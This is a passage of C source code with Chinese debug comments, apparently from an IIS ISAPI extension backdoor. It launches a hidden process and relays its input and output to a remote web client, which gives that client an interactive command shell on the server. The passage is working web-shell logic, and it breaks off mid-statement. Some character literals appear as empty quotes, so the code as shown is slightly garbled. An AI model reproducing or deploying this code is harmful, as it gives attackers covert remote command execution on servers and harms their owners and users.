int ret = 0;
unsigned long dwBytes = 0;
int index = 0;
EXTENSION_CONTROL_BLOCK *pECB = workArg->pECB;
strcpy( cmdLine , workArg->arg );
if( cmdLine[0] == '' )
{
#ifdef DEBUG
LogStrToFile( "执行shell时,没有要输入要运行的shell路径\n" );
#endif
SendToClient( pECB , "No shell to run...\n" );
SendToClient( pECB , FLAG );
return;
}
#ifdef DEBUG
LogStrToFile( "要运行的程序: " );
LogStrToFile( workArg->arg );
LogStrToFile( "\n" );
#endif
//安全选项
sa.nLength = sizeof( sa );
sa.lpSecurityDescriptor = 0;
sa.bInheritHandle = TRUE;
//初始化管道
if( !CreatePipe(&hReadPipe1,&hWritePipe1,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
if( !CreatePipe(&hReadPipe2,&hWritePipe2,&sa,0) )
{
#ifdef DEBUG
LogStrToFile( "建立管道失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
SendToClient( pECB , "Create pipi error...\n" );
SendToClient( pECB , FLAG );
return;
}
ZeroMemory( &si , sizeof(STARTUPINFO) );
GetStartupInfo( &si );
si.cb = sizeof( si );
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = hReadPipe2;
si.hStdOutput = si.hStdError = hWritePipe1;
ZeroMemory( &procInfo , sizeof(PROCESS_INFORMATION) );
ret = CreateProcess( NULL , cmdLine , NULL , NULL , 1 , 0 , NULL , NULL , &si , &procInfo );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "建立进程失败...\n" );
LogIntToFile( GetLastError() );
#endif
SendToClient( pECB , "Create process error...\n" );
SendToClient( pECB , FLAG );
return;
}
while(1)
{
memset( buff , 0 , BUFFSIZE );
ret=PeekNamedPipe( hReadPipe1 , buff , BUFFSIZE , &dwBytes , NULL , NULL );
//尝试5次读取管道,防止延迟发生错误
for( index = 0; index < 5 && dwBytes == 0; index ++ )
{
Sleep(100);
ret = PeekNamedPipe(hReadPipe1,buff,BUFFSIZE,&dwBytes,NULL,NULL);
}
//获取输出信息,输出到客户端
if(dwBytes)
{
ret = ReadFile( hReadPipe1,buff,dwBytes,&dwBytes,0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "读取输出失败: " );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
#ifdef DEBUG
LogStrToFile( buff );
#endif
ret = SendToClient( pECB , buff );
if( ret<=0 )
{
#ifdef DEBUG
LogStrToFile( "发送输出失败:" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
//从客户端获取命令
else
{
//客户端无输入则循环读取
while( buff[0] == '' )
{
Sleep(100);
dwBytes = BUFFSIZE;
pECB->ReadClient( pECB->ConnID , buff , &dwBytes );
}
#ifdef DEBUG
LogStrToFile( "读到客户命令了,内容是: " );
LogStrToFile( buff );
#endif
//如果是exit命令,退出连接
if( strcmp( buff , "exit\n" ) == 0 )
{
SendToClient( pECB , "ByeBye~!\n" );
break;
}
ret = WriteFile( hWritePipe2 , buff , dwBytes , &dwBytes , 0 );
if( !ret )
{
#ifdef DEBUG
LogStrToFile( "把命令发送到shell失败\n" );
LogIntToFile( GetLastError() );
LogStrToFile( "\n" );
#endif
break;
}
}
}
CloseHandle(hReadPipe1);
CloseHandle(hReadPipe2);
CloseHandle(hWritePipe1);
CloseHandle(hWri






